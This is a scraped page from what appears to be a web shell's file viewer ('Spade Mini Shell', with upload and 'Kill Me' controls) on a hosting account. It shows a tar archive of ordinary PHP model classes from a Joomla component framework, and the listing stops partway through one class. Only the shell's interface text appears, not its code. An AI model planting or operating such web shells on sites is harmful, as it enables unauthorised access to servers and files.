Spade

Mini Shell

Directory:~$ /home/lmsyaran/www/khsh/
Upload File

[Home] [System Details] [Kill Me]
Current File:~$ /home/lmsyaran/www/khsh/Model.tar

AdminModel.php000064400000035421151171431400007270 0ustar00<?php
/**
 * @package     OSL
 * @subpackage  Controller
 *
 * @copyright   Copyright (C) 2016 Ossolution Team, Inc. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

namespace OSL\Model;

use Exception;

use Joomla\Registry\Registry, Joomla\String\StringHelper, JFactory,
	JPluginHelper, JLanguageMultilang, JTable, JApplicationHelper;

use OSL\Container\Container,
	OSL\Input\Input;

/**
 * Admin model class. It will handle tasks such as add, update, delete,
publish, unpublish...items
 *
 * @package        OSF
 * @subpackage     Model
 * @since          1.0
 */
class AdminModel extends Model
{
	/**
	 * Context, used to get user session data and also trigger plugin
	 *
	 * @var string
	 */
	protected $context;

	/**
	 * The prefix to use with controller messages.
	 *
	 * @var string
	 */
	protected $languagePrefix = null;

	/**
	 * This model trigger events or not. By default, set it to No to improve
performance
	 *
	 * @var boolean
	 */
	protected $triggerEvents = false;

	/**
	 * The event to trigger after deleting the data.
	 *
	 * @var string
	 */
	protected $eventAfterDelete = null;

	/**
	 * The event to trigger after saving the data.
	 *
	 * @var string
	 */
	protected $eventAfterSave = null;

	/**
	 * The event to trigger before deleting the data.
	 *
	 * @var string
	 */
	protected $eventBeforeDelete = null;

	/**
	 * The event to trigger before saving the data.
	 *
	 * @var string
	 */
	protected $eventBeforeSave = null;

	/**
	 * The event to trigger after changing the published state of the data.
	 *
	 * @var string
	 */
	protected $eventChangeState = null;

	/**
	 * Name of plugin group which will be loaded to process the triggered
event.
	 * Default is component name
	 *
	 * @var string
	 */
	protected $pluginGroup = null;

	/**
	 * Data for the item
	 *
	 * @var object
	 */
	protected $data = null;

	/**
	 * Constructor.
	 *
	 * @param mixed $config An object store model configuration
	 *
	 * @see OSFModel
	 */
	public function __construct(Container $container, $config = [])
	{
		parent::__construct($container, $config);

		/**@var Registry $config * */

		$this->context = $this->container->option . '.' .
$this->name;

		//Insert the default model states for admin
		$this->state->insert('id', 'int',
0)->insert('cid', 'array', []);

		if ($this->triggerEvents)
		{
			$name = ucfirst($this->name);

			if (isset($config['plugin_group']))
			{
				$this->pluginGroup = $config['plugin_group'];
			}
			elseif (empty($this->pluginGroup))
			{
				//Plugin group should default to component name
				$this->pluginGroup = substr($this->container->option, 4);
			}

			//Initialize the events
			if (isset($config['event_after_delete']))
			{
				$this->eventAfterDelete = $config['event_after_delete'];
			}
			elseif (empty($this->eventAfterDelete))
			{
				$this->eventAfterDelete = 'on' . $name .
'AfterDelete';
			}

			if (isset($config['event_after_save']))
			{
				$this->eventAfterSave = $config['event_after_save'];
			}
			elseif (empty($this->eventAfterSave))
			{
				$this->eventAfterSave = 'on' . $name .
'AfterSave';
			}

			if (isset($config['event_before_delete']))
			{
				$this->eventBeforeDelete =
$config['event_before_delete'];
			}
			elseif (empty($this->eventBeforeDelete))
			{
				$this->eventBeforeDelete = 'on' . $name .
'BeforeDelete';
			}

			if (isset($config['event_before_save']))
			{
				$this->eventBeforeSave = $config['event_before_save'];
			}
			elseif (empty($this->eventBeforeSave))
			{
				$this->eventBeforeSave = 'on' . $name .
'BeforeSave';
			}

			if (isset($config['event_change_state']))
			{
				$this->eventChangeState = $config['event_change_state'];
			}
			elseif (empty($this->eventChangeState))
			{
				$this->eventChangeState = 'on' . $name .
'ChangeState';
			}
		}

		if (empty($this->languagePrefix))
		{
			$this->languagePrefix = $this->container->languagePrefix;
		}
	}

	/**
	 * Method to get the record data
	 *
	 * @return object
	 */
	public function getData()
	{
		if (empty($this->data))
		{
			if (count($this->state->cid))
			{
				$this->state->id = (int) $this->state->cid[0];
			}

			if ($this->state->id)
			{
				$this->loadData();
			}
			else
			{
				$this->initData();
			}
		}

		return $this->data;
	}

	/**
	 * Method to store a record
	 *
	 * @param Input $input
	 * @param array $ignore
	 *
	 * @return bool
	 * @throws Exception
	 */
	public function store($input, $ignore = [])
	{
		if ($this->triggerEvents)
		{
			JPluginHelper::importPlugin($this->pluginGroup);
		}

		$row   = $this->getTable();
		$isNew = true;
		$id    = $input->getInt('id', 0);

		if ($id)
		{
			$isNew = false;
			$row->load($id);
		}

		// Pre-process the input data
		$this->beforeStore($row, $input, $isNew);

		if ($this->container->user->authorise('core.admin',
'com_pmform'))
		{
			$data = $input->getData(\OSL\Input\Input::INPUT_ALLOWRAW);
		}
		else
		{
			$data = $input->getData();
		}

		$row->bind($data, $ignore);
		$this->prepareTable($row, $input->get('task'));
		$row->check();

		if ($this->triggerEvents)
		{
			$this->container->app->triggerEvent($this->eventBeforeSave,
[$row, $data, $isNew]);
		}

		$row->store();

		if ($this->triggerEvents)
		{
			$this->container->app->triggerEvent($this->eventAfterSave,
[$row, $data, $isNew]);
		}

		$input->set('id', $row->id);

		// Post process after the record stored into database
		$this->afterStore($row, $input, $isNew);
	}

	/**
	 * Method to delete one or more records.
	 *
	 * @param array $cid
	 *
	 * @throws Exception
	 */
	public function delete($cid = [])
	{
		if (count($cid))
		{
			if ($this->triggerEvents)
			{
				JPluginHelper::importPlugin($this->pluginGroup);
			}

			// Before delete
			$this->beforeDelete($cid);

			$row = $this->getTable();

			foreach ($cid as $id)
			{
				if ($row->load($id))
				{
					if ($this->triggerEvents)
					{
						$result =
$this->container->app->triggerEvent($this->eventBeforeDelete,
[$this->context, $row]);

						if (in_array(false, $result, true))
						{
							throw new Exception($row->getError());
						}
					}

					if (!$row->delete())
					{
						throw new Exception($row->getError());
					}

					if ($this->triggerEvents)
					{
						$this->container->app->triggerEvent($this->eventAfterDelete,
[$this->context, $row]);
					}
				}
				else
				{
					throw new Exception($row->getError());
				}
			}

			// Post process after records has been deleted from main table
			$this->afterDelete($cid);
			$this->cleanCache();
		}
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param array $pks   A list of the primary keys to change.
	 * @param int   $value The value of the published state.
	 *
	 * @throws Exception
	 */
	public function publish($pks, $value = 1)
	{
		$row = $this->getTable();
		$pks = (array) $pks;

		$this->beforePublish($pks, $value);

		// Attempt to change the state of the records.
		if (!$row->publish($pks, $value,
$this->container->user->get('id')))
		{
			throw new Exception($row->getError());
		}

		$this->afterPublish($pks, $value);

		if ($this->triggerEvents)
		{
			// Trigger the eventChangeState event.
			JPluginHelper::importPlugin($this->pluginGroup);
			$this->container->app->triggerEvent($this->eventChangeState,
[$this->context, $pks, $value]);
		}

		// Clear the component's cache
		$this->cleanCache();
	}

	/**
	 * Saves the manually set order of records.
	 *
	 * @param array $pks   An array of primary key ids.
	 *
	 * @param array $order An array contain ordering value of item
corresponding with $pks array
	 *
	 * @return mixed
	 *
	 * @throws Exception
	 */
	public function saveorder($pks = null, $order = null)
	{
		$row        = $this->getTable();
		$conditions = [];

		// Update ordering values
		foreach ($pks as $i => $pk)
		{
			$row->load((int) $pk);

			if ($row->ordering != $order[$i])
			{
				$row->ordering = $order[$i];
				$row->store();

				// Remember to reorder within position and client_id
				$condition = $this->getReorderConditions($row);
				$found     = false;

				foreach ($conditions as $cond)
				{
					if ($cond[1] == $condition)
					{
						$found = true;
						break;
					}
				}

				if (!$found)
				{
					$conditions[] = [$row->id, $condition];
				}
			}
		}

		// Execute reorder for each category.
		foreach ($conditions as $cond)
		{
			$row->load($cond[0]);
			$row->reorder($cond[1]);
		}

		// Clear the component's cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Load the record from database
	 *
	 */
	protected function loadData()
	{
		$db    = $this->getDbo();
		$query = $db->getQuery(true);
		$query->select('*')
			->from($this->table)
			->where('id = ' . (int) $this->state->id);
		$db->setQuery($query);
		$this->data = $db->loadObject();
	}

	/**
	 * Init the record dara object
	 */
	protected function initData()
	{
		$this->data = $this->getTable();

		if (property_exists($this->data, 'published'))
		{
			$this->data->published = 1;
		}
	}

	/**
	 * Method to change the title & alias, usually used on save2copy
method
	 *
	 * @param        $row   the object being saved
	 *
	 * @param string $alias The alias.
	 *
	 * @param string $title The title.
	 *
	 * @return array Contains the modified title and alias.
	 */
	protected function generateNewTitle($row, $alias, $title)
	{
		$db    = $this->getDbo();
		$query = $db->getQuery(true);
		$query->select('COUNT(*)')->from($this->table);
		$conditions = $this->getReorderConditions($row);

		while (true)
		{
			$query->where('alias=' . $db->quote($alias));

			if (count($conditions))
			{
				$query->where($conditions);
			}

			$db->setQuery($query);
			$found = (int) $db->loadResult();

			if ($found)
			{
				$title = StringHelper::increment($title);
				$alias = StringHelper::increment($alias, 'dash');
				$query->clear('where');
			}
			else
			{
				break;
			}
		}

		return [$title, $alias];
	}

	/**
	 * A protected method to get a set of ordering conditions.
	 *
	 * @param JTable $row A JTable object.
	 *
	 * @return array An array of conditions to add to ordering queries.
	 *
	 */
	protected function getReorderConditions($row)
	{
		$conditions = [];

		if (property_exists($row, 'catid'))
		{
			$conditions[] = 'catid = ' . (int) $row->catid;
		}

		return $conditions;
	}

	/**
	 * Prepare and sanitise the table data prior to saving.
	 *
	 * @param JTable $row A reference to a JTable object.
	 *
	 * @return void
	 *
	 */
	protected function prepareTable($row, $task)
	{
		$user = $this->container->user;

		if (property_exists($row, 'title'))
		{
			$titleField = 'title';
		}
		elseif (property_exists($row, 'name'))
		{
			$titleField = 'name';
		}

		if (($task == 'save2copy') && $titleField)
		{
			if (property_exists($row, 'alias'))
			{
				//Need to generate new title and alias
				list ($title, $alias) = $this->generateNewTitle($row,
$row->alias, $row->{$titleField});
				$row->{$titleField} = $title;
				$row->alias         = $alias;
			}
			else
			{
				$row->{$titleField} =
StringHelper::increment($row->{$titleField});
			}
		}

		if (property_exists($row, 'title'))
		{
			$row->title = htmlspecialchars_decode($row->title, ENT_QUOTES);
		}

		if (property_exists($row, 'name'))
		{
			$row->name = htmlspecialchars_decode($row->name, ENT_QUOTES);
		}

		if (property_exists($row, 'alias'))
		{
			if (empty($row->alias))
			{
				$row->alias = $row->{$titleField};
			}

			$row->alias = JApplicationHelper::stringURLSafe($row->alias);

			// Handle alias for extra languages
			if (JLanguageMultilang::isEnabled())
			{
				// Build alias alias for other languages
				$languages = \OSL\Utils\Helper::getLanguages();

				if (count($languages))
				{
					foreach ($languages as $language)
					{
						$sef = $language->sef;

						if (!$row->{'alias_' . $sef})
						{
							$row->{'alias_' . $sef} =
JApplicationHelper::stringURLSafe($row->{$titleField . '_' .
$sef});
						}
						else
						{
							$row->{'alias_' . $sef} =
JApplicationHelper::stringURLSafe($row->{'alias_' . $sef});
						}
					}
				}
			}
		}

		if (empty($row->id))
		{
			// Set ordering to the last item if not set
			if (property_exists($row, 'ordering') &&
empty($row->ordering))
			{
				$db         = $this->getDbo();
				$query      = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName($this->table));
				$conditions = $this->getReorderConditions($row);

				if (count($conditions))
				{
					$query->where($conditions);
				}

				$db->setQuery($query);
				$max           = $db->loadResult();
				$row->ordering = $max + 1;
			}

			if (property_exists($row, 'created_date') &&
!$row->created_date)
			{
				$row->created_date = JFactory::getDate()->toSql();
			}

			if (property_exists($row, 'created_by') &&
!$row->created_by)
			{
				$row->created_by = $user->get('id');
			}
		}

		if (property_exists($row, 'modified_date') &&
!$row->modified_date)
		{
			$row->modified_date = JFactory::getDate()->toSql();
		}

		if (property_exists($row, 'modified_by') &&
!$row->modified_by)
		{
			$row->modified_by = $user->get('id');
		}

		if (property_exists($row, 'params') &&
is_array($row->params))
		{
			$row->params = json_encode($row->params);
		}
	}

	/**
	 * Give a chance for child class to pre-process the data
	 *
	 * @param $row
	 * @param $input
	 * @param $isNew bool
	 */
	protected function beforeStore($row, $input, $isNew)
	{

	}

	/**
	 * Give a chance for child class to post-process the data
	 *
	 * @param $row
	 * @param $input
	 * @param $isNew bool
	 */
	protected function afterStore($row, $input, $isNew)
	{

	}

	/**
	 * Give a chance for child class tp pre-process the delete. For example,
delete the relation records
	 *
	 * @param array $cid Ids of deleted record
	 */
	protected function beforeDelete($cid)
	{

	}

	/**
	 * Give a chance for child class tp post-process the delete. For example,
delete the relation records
	 *
	 * @param array $cid Ids of deleted record
	 */
	protected function afterDelete($cid)
	{

	}

	/**
	 * Give a chance for child class to pre-process the publish.
	 *
	 * @param array $cid
	 * @param int   $state
	 */
	protected function beforePublish($cid, $state)
	{

	}

	/**
	 * Give a chance for child class to post-process the publish.
	 *
	 * @param array $cid
	 * @param int   $state
	 */
	protected function afterPublish($cid, $state)
	{

	}
}ListModel.php000064400000022613151171431400007152 0ustar00<?php
/**
 * @package     OSL
 * @subpackage  Controller
 *
 * @copyright   Copyright (C) 2016 Ossolution Team, Inc. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

namespace OSL\Model;

use JDatabaseQuery, JPagination;

use OSL\Container\Container;

/**
 * Model class for handling lists of items.
 *
 * @package     OSF
 * @subpackage  Model
 * @since       1.0
 */
class ListModel extends Model
{
	/**
	 * The query object of the model
	 *
	 * @var JDatabaseQuery
	 */
	protected $query;
	/**
	 * List total
	 *
	 * @var integer
	 */
	protected $total;

	/**
	 * Model list data
	 *
	 * @var array
	 */
	protected $data;

	/**
	 * Pagination object
	 *
	 * @var JPagination
	 */
	protected $pagination;

	/**
	 * Name of state field name, usually be tbl.state or tbl.published
	 *
	 * @var string
	 */
	protected $stateField;

	/**
	 * List of fields which will be used for searching data from database
table
	 *
	 * @var array
	 */
	protected $searchFields = array();

	/**
	 * Clear join clause for getTotal method
	 *
	 * @var bool
	 */
	protected $clearJoin = true;

	/**
	 * Instantiate the model.
	 *
	 * @param mixed $config Model configuration data, could be an array or an
OSFConfig object
	 *
	 */
	public function __construct(Container $container, $config = array())
	{
		parent::__construct($container, $config);

		$this->query = $this->db->getQuery(true);

		$fields = array_keys($this->db->getTableColumns($this->table));

		if (in_array('ordering', $fields))
		{
			$defaultOrdering = 'tbl.ordering';
		}
		else
		{
			$defaultOrdering = 'tbl.id';
		}

		if (in_array('published', $fields))
		{
			$this->stateField = 'tbl.published';
		}
		else
		{
			$this->stateField = 'tbl.state';
		}

		if (isset($config['clear_join']))
		{
			$this->clearJoin = $config['clear_join'];
		}

		$this->state->insert('limit', 'int',
$this->container->appConfig->get('list_limit'))
			->insert('limitstart', 'int', 0)
			->insert('filter_order', 'cmd',
$defaultOrdering)
			->insert('filter_order_Dir', 'word',
'asc')
			->insert('filter_search', 'string')
			->insert('filter_state', 'string')
			->insert('filter_access', 'int', 0)
			->insert('filter_language', 'string');

		if (isset($config['search_fields']))
		{
			$this->searchFields = (array) $config['search_fields'];
		}
		else
		{
			// Build the search field array automatically, basically, we should
search based on name, title, description if these fields are available
			if (in_array('name', $fields))
			{
				$this->searchFields[] = 'tbl.name';
			}

			if (in_array('title', $fields))
			{
				$this->searchFields[] = 'tbl.title';
			}

			if (in_array('alias', $fields))
			{
				$this->searchFields[] = 'tbl.alias';
			}
		}

		if (isset($config['remember_states']))
		{
			$this->rememberStates = $config['remember_states'];
		}
		elseif
($this->container->app->isClient('administrator'))
		{
			$this->rememberStates = true;
		}
	}

	/**
	 * Get a list of items
	 *
	 * @return array
	 */
	public function getData()
	{
		if (empty($this->data))
		{
			$db    = $this->getDbo();
			$query = $this->buildListQuery();

			$this->beforeQueryData($query);

			// Adjust the limitStart state property
			$limit = $this->state->limit;

			if ($limit)
			{
				$offset = $this->state->limitstart;
				$total  = $this->getTotal();

				//If the offset is higher than the total recalculate the offset
				if ($offset !== 0 && $total !== 0)
				{
					if ($offset >= $total)
					{
						$offset                  = floor(($total - 1) / $limit) * $limit;
						$this->state->limitstart = $offset;
					}
				}
			}

			$db->setQuery($query, $this->state->limitstart,
$this->state->limit);
			$this->data = $db->loadObjectList();

			$this->beforeReturnData($this->data);

			// Store the query so that it can be used in getTotal method if needed
			$this->query = $query;
		}

		return $this->data;
	}

	/**
	 * Get total record. Child class should override this method if needed
	 *
	 * @return integer Number of records
	 *
	 */
	public function getTotal()
	{
		if (empty($this->total))
		{
			$db    = $this->getDbo();
			$query = $this->buildTotalQuery();
			$this->beforeQueryTotal($query);
			$db->setQuery($query);
			$this->total = (int) $db->loadResult();
		}

		return $this->total;
	}

	/**
	 * Get pagination object
	 *
	 * @return JPagination
	 */
	public function getPagination()
	{
		// Lets load the content if it doesn't already exist
		if (empty($this->pagination))
		{
			jimport('joomla.html.pagination');

			$this->pagination = new JPagination($this->getTotal(),
$this->state->limitstart, $this->state->limit);
		}

		return $this->pagination;
	}


	/**
	 * Build the query object which is used to get list of records from
database
	 *
	 * @return JDatabaseQuery
	 */
	protected function buildListQuery()
	{
		$query = $this->query;

		$this->buildQueryColumns($query)
			->buildQueryFrom($query)
			->buildQueryJoins($query)
			->buildQueryWhere($query)
			->buildQueryGroup($query)
			->buildQueryHaving($query)
			->buildQueryOrder($query);

		return $query;
	}

	/**
	 * Build query object use to get total records from database
	 *
	 * @return JDatabaseQuery
	 */
	protected function buildTotalQuery()
	{
		$query = clone $this->query;
		$query->clear('select')
			->clear('group')
			->clear('having')
			->clear('order')
			->clear('limit')
			->select('COUNT(*)');

		// Clear join clause if needed
		if ($this->clearJoin)
		{
			$query->clear('join');
		}

		return $query;
	}

	/**
	 * Builds SELECT columns list for the query
	 *
	 * @param JDatabaseQuery $query
	 *
	 * @return $this
	 */
	protected function buildQueryColumns(JDatabaseQuery $query)
	{
		$query->select(array('tbl.*'));

		return $this;
	}

	/**
	 * Builds FROM tables list for the query
	 *
	 * @param JDatabaseQuery $query
	 *
	 * @return $this
	 */
	protected function buildQueryFrom(JDatabaseQuery $query)
	{
		$query->from($this->table . ' AS tbl');

		return $this;
	}

	/**
	 * Builds JOINS clauses for the query
	 *
	 * @param JDatabaseQuery $query
	 *
	 * @return $this
	 */
	protected function buildQueryJoins(JDatabaseQuery $query)
	{
		return $this;
	}

	/**
	 * Builds a WHERE clause for the query
	 *
	 * @param JDatabaseQuery $query
	 *
	 * @return $this
	 */
	protected function buildQueryWhere(JDatabaseQuery $query)
	{
		$user  = $this->container->user;
		$db    = $this->getDbo();
		$state = $this->state;

		if ($state->filter_state == 'P')
		{
			$query->where($this->stateField . ' = 1');
		}
		elseif ($state->filter_state == 'U')
		{
			$query->where($this->stateField . ' = 0');
		}

		if ($state->filter_access)
		{
			$query->where('tbl.access = ' . (int)
$state->filter_access);

			if (!$user->authorise('core.admin'))
			{
				$query->where('tbl.access IN (' . implode(',',
$user->getAuthorisedViewLevels()) . ')');
			}
		}

		if ($state->filter_search)
		{
			//Remove blank space from searching
			$state->filter_search = trim($state->filter_search);

			if (stripos($state->filter_search, 'id:') === 0)
			{
				$query->where('tbl.id = ' . (int)
substr($state->filter_search, 3));
			}
			else
			{
				$search = $db->quote('%' .
$db->escape($state->filter_search, true) . '%', false);

				if (is_array($this->searchFields))
				{
					$whereOr = array();

					foreach ($this->searchFields as $searchField)
					{
						$whereOr[] = " LOWER($searchField) LIKE " . $search;
					}

					$query->where('(' . implode(' OR ', $whereOr) .
') ');
				}
			}
		}

		if ($state->filter_language && $state->filter_language !=
'*')
		{
			$query->where('tbl.language IN (' .
$db->quote($state->filter_language) . ',' .
$db->quote('*') . ', "")');
		}

		return $this;
	}

	/**
	 * Builds a GROUP BY clause for the query
	 *
	 * @param JDatabaseQuery $query
	 *
	 * @return $this
	 */
	protected function buildQueryGroup(JDatabaseQuery $query)
	{
		return $this;
	}

	/**
	 * Builds a HAVING clause for the query
	 *
	 * @param JDatabaseQuery $query
	 *
	 * @return $this
	 */
	protected function buildQueryHaving(JDatabaseQuery $query)
	{
		return $this;
	}

	/**
	 * Builds a generic ORDER BY clasue based on the model's state
	 *
	 * @param JDatabaseQuery $query
	 *
	 * @return $this
	 */
	protected function buildQueryOrder(JDatabaseQuery $query)
	{
		$sort      = $this->state->filter_order;
		$direction = strtoupper($this->state->filter_order_Dir);

		if ($sort)
		{
			$query->order($sort . ' ' . $direction);
		}

		return $this;
	}

	/**
	 * This method give child class a chance to adjust the query before it is
run to return list of records
	 *
	 * @param JDatabaseQuery $query
	 */
	protected function beforeQueryData(JDatabaseQuery $query)
	{

	}

	/**
	 * This method give child class a chance to adjust the query object before
it is run to return total records
	 *
	 * @param JDatabaseQuery $query
	 */
	protected function beforeQueryTotal(JDatabaseQuery $query)
	{

	}

	/**
	 * This method give child class to adjust the return data in getData
method without having to override the
	 * whole method
	 *
	 * @param array $rows
	 */
	protected function beforeReturnData($rows)
	{

	}
}
Model.php000064400000017257151171431400006326 0ustar00<?php
/**
 * @package     OSL
 * @subpackage  Controller
 *
 * @copyright   Copyright (C) 2016 Ossolution Team, Inc. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

namespace OSL\Model;

use Exception;
use JDatabaseDriver, JText, JTable, JCache;
use OSL\Container\Container;
use OSL\Input\Input;

class Model
{

	/**
	 * The model name
	 *
	 * @var string
	 */
	protected $name;

	/**
	 * Model state
	 *
	 * @var State
	 */
	protected $state;

	/**
	 * The database driver.
	 *
	 * @var JDatabaseDriver
	 */
	protected $db;

	/**
	 * The name of the database table
	 *
	 * @var string
	 */
	protected $table;

	/**
	 * Ignore request or not. If set to Yes, model states won't be set
when it is created
	 *
	 * @var boolean
	 */
	protected $ignoreRequest = false;

	/**
	 * Remember model states value in session
	 *
	 * @var boolean
	 */
	protected $rememberStates = false;

	/**
	 * Constructor
	 *
	 * @param mixed $config Model configuration data, could be an array or an
OSFConfig object
	 *
	 * @throws Exception
	 */
	public function __construct(Container $container, $config = [])
	{
		$this->container = $container;

		if (isset($config['name']))
		{
			$this->name = $config['name'];
		}
		else
		{
			$r = null;

			if (!preg_match('/(.*)\\\\Model\\\\(.*)/i', get_class($this),
$r))
			{
				throw new
Exception(JText::_('JLIB_APPLICATION_ERROR_MODEL_GET_NAME'),
500);
			}

			$this->name = $r[2];
		}

		if (isset($config['db']))
		{
			$this->db = $config['db'];
		}
		else
		{
			$this->db = $container->get('db');
		}

		if (isset($config['state']))
		{
			$this->state = $config['state'];
		}
		else
		{
			$this->state = new State();
		}

		if (isset($config['table']))
		{
			$this->table = $config['table'];
		}
		else
		{
			$this->table = $container->tablePrefix .
strtolower($container->inflector->pluralize($this->name));
		}

		if (isset($config['ignore_request']))
		{
			$this->ignoreRequest = $config['ignore_request'];
		}

		if (isset($config['remember_states']))
		{
			$this->rememberStates = $config['remember_states'];
		}

		$this->initialize();
	}

	/**
	 * Populate model state from input
	 */
	public function populateState()
	{
		if ($this->ignoreRequest)
		{
			return;
		}

		$input = $this->container->input;

		$data = $input->getData();

		// Try to get the state properties data from user session
		if ($this->rememberStates)
		{
			$properties = $this->state->getProperties();

			if (count($properties))
			{
				$context = $this->container->option . '.' .
$input->get('view', $this->container->defaultView) .
'.';

				foreach ($properties as $property)
				{
					$newState = $this->getUserStateFromRequest($input, $context .
$property, $property);

					if ($newState != null)
					{
						$data[$property] = $newState;
					}
				}
			}
		}

		$this->setState($data);
	}

	/**
	 * Get JTable object for the model
	 *
	 * @param string $name
	 *
	 * @return JTable
	 */
	public function getTable($name = '')
	{
		if (!$name)
		{
			$name =
$this->container->inflector->singularize($this->name);
		}


		return $this->container->factory->createTable($name,
$this->getDbo());
	}

	/**
	 * Set the model state properties
	 *
	 * @param string|array The    name of the property, an array
	 *
	 * @param mixed $value The value of the property
	 *
	 * @return Model
	 */
	public function setState($property, $value = null)
	{
		$changed = false;

		if (is_array($property))
		{
			foreach ($property as $key => $value)
			{
				if (isset($this->state->$key) && $this->state->$key
!= $value)
				{
					$changed = true;
					break;
				}
			}

			$this->state->setData($property);
		}
		else
		{
			if (isset($this->state->$property) &&
$this->state->$property != $value)
			{
				$changed = true;
			}

			$this->state->$property = $value;
		}

		if ($changed)
		{
			// Reset the data
			$this->data  = null;
			$this->total = null;
		}

		return $this;
	}

	/**
	 * Get the model state properties
	 *
	 * If no property name is given then the function will return an
associative array of all properties.
	 *
	 * @param string $property The name of the property
	 *
	 * @param string $default  The default value
	 *
	 * @return mixed <string, State>
	 */
	public function getState($property = null, $default = null)
	{
		$result = $default;

		if (is_null($property))
		{
			$result = $this->state;
		}
		else
		{
			if (isset($this->state->$property))
			{
				$result = $this->state->$property;
			}
		}

		return $result;
	}

	/**
	 * Reset all cached data and reset the model state to it's default
	 *
	 * @param boolean $default If TRUE use defaults when resetting. Default is
TRUE
	 *
	 * @return $this
	 */
	public function reset($default = true)
	{
		$this->data  = null;
		$this->total = null;
		$this->state->reset($default);
		$this->query = $this->db->getQuery(true);

		return $this;
	}

	/**
	 * Get the dbo
	 *
	 * @return JDatabaseDriver
	 */
	public function getDbo()
	{
		return $this->db;
	}

	/**
	 * Get name of the model
	 *
	 * @return string
	 */
	public function getName()
	{
		return $this->name;
	}

	/**
	 * This blank method give child class a chance to init the class further
after being constructed
	 */
	protected function initialize()
	{

	}

	/**
	 * Supports a simple form Fluent Interfaces.
	 * Allows you to set states by
	 * using the state name as the method name.
	 *
	 * For example :
$model->filter_order('name')->filter_order_Dir('DESC')->limit(10)->getData();
	 *
	 * @param string $method Method name
	 *
	 * @param array  $args   Array containing all the arguments for the
original call
	 *
	 * @return $this
	 */
	public function __call($method, $args)
	{
		if (isset($this->state->$method))
		{
			$this->state->set($method, $args[0]);

			return $this;
		}

		return null;
	}

	/**
	 * Gets the value of a user state variable.
	 *
	 * @param Input  $input   The input object
	 * @param string $key     The key of the user state variable.
	 * @param string $request The name of the variable passed in a request.
	 * @param string $default The default value for the variable if not found.
Optional.
	 * @param string $type    Filter for the variable, for valid values see
{@link JFilterInput::clean()}. Optional.
	 *
	 * @return  object  The request user state.
	 */
	protected function getUserStateFromRequest($input, $key, $request,
$default = null, $type = 'none')
	{
		$app = $this->container->app;

		$currentState = $app->getUserState($key, $default);
		$newState     = $input->get($request, null, $type);

		// Save the new value only if it was set in this request.
		if ($newState !== null)
		{
			$app->setUserState($key, $newState);
		}
		else
		{
			$newState = $currentState;
		}

		return $newState;
	}

	/**
	 * Clean the cache
	 *
	 * @param string  $group     The cache group
	 * @param integer $client_id The ID of the client
	 *
	 * @return  void
	 *
	 */
	protected function cleanCache($group = null, $client_id = 0)
	{
		$conf = $this->container->appConfig;

		$options = [
			'defaultgroup' => ($group) ? $group :
$this->container->option,
			'cachebase'    => ($client_id) ? JPATH_ADMINISTRATOR .
'/cache' : $conf->get('cache_path', JPATH_SITE .
'/cache')];

		$cache = JCache::getInstance('callback', $options);
		$cache->clean();

		// Trigger the onContentCleanCache event.
		if (!empty($this->eventCleanCache))
		{
			$this->container->app->triggerEvent($this->eventCleanCache,
$options);
		}
	}
}State.php000064400000013446151171431400006342 0ustar00<?php
/**
 * @package     OSL
 * @subpackage  Model
 *
 * @copyright   Copyright (C) 2016 Ossolution Team, Inc. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

namespace OSL\Model;

use JFilterInput;

class State
{

	/**
	 * The state data container
	 *
	 * @var array
	 */
	protected $data = array();

	/**
	 * Set data for a state
	 *
	 * @param string $name The name of state
	 * @param mixed  $value
	 *
	 * @return $this
	 */
	public function set($name, $value)
	{
		if (isset($this->data[$name]))
		{
			$this->data[$name]->value = $value;
		}

		return $this;
	}

	/**
	 * Retrieve data for a state
	 *
	 * @param string $name    Name of the state
	 *
	 * @param mixed  $default Default value if no data has been set for that
state
	 *
	 * @return mixed The state value
	 */
	public function get($name, $default = null)
	{
		$result = $default;

		if (isset($this->data[$name]))
		{
			$result = $this->data[$name]->value;
		}

		return $result;
	}

	/**
	 * Insert a new state
	 *
	 * @param string $name    The name of the state
	 *
	 * @param mixed  $filter  The name of filter which will be used to
sanitize the state value using JFilterInput
	 *
	 * @param mixed  $default The default value of the state
	 *
	 * @return State
	 */
	public function insert($name, $filter, $default = null)
	{
		$state             = new \stdClass();
		$state->name       = $name;
		$state->filter     = $filter;
		$state->value      = $default;
		$state->default    = $default;
		$this->data[$name] = $state;

		return $this;
	}

	/**
	 * Remove an existing state
	 *
	 * @param string $name The name of the state which will be removed
	 *
	 * @return $this
	 */
	public function remove($name)
	{
		if (isset($this->data[$name]))
		{
			unset($this->data[$name]);
		}

		return $this;
	}

	/**
	 * Reset all state data and revert to the default state
	 *
	 * @param boolean $default If TRUE use defaults when resetting. If FALSE
then null value will be used.Default is TRUE
	 *
	 * @return $this
	 */
	public function reset($default = true)
	{
		foreach ($this->data as $state)
		{
			$state->value = $default ? $state->default : null;
		}

		return $this;
	}

	/**
	 * Set the state data
	 *
	 * This function will only filter values if we have a value. If the value
	 * is an empty string it will be filtered to NULL.
	 *
	 * @param array $data An associative array of state values by name
	 *
	 * @return $this
	 */
	public function setData(array $data)
	{
		$filterInput = JFilterInput::getInstance();

		// Special code for handle ajax ordering in Joomla 3
		if (!empty($data['filter_full_ordering']))
		{
			$parts                    = explode(' ',
$data['filter_full_ordering']);
			$sort                     = $parts[0];
			$direction                = isset($parts[1]) ? $parts[1] :
'';
			$data['filter_order']     = $sort;
			$data['filter_order_Dir'] = $direction;
		}

		// Filter data
		foreach ($data as $key => $value)
		{
			if (isset($this->data[$key]))
			{
				$filter = $this->data[$key]->filter;

				// Only filter if we have a value
				if ($value !== null)
				{
					if ($value !== '')
					{
						// Check for a callback filter.
						if (strpos($filter, '::') !== false &&
is_callable(explode('::', $filter)))
						{
							$value = call_user_func(explode('::', $filter), $value);
						}

						// Filter using a callback function if specified.
						elseif (function_exists($filter))
						{
							$value = call_user_func($filter, $value);
						}

						// Filter using JFilterInput. All HTML code is filtered by default.
						else
						{
							$value = $filterInput->clean($value, $filter);
						}
					}
					else
					{
						$value = null;
					}

					$this->data[$key]->value = $value;
				}
			}
		}

		return $this;
	}

	/**
	 * Get the state data
	 *
	 * This function only returns states that have been been set.
	 *
	 * @return array An associative array of state values by name
	 */
	public function getData()
	{
		$data = array();

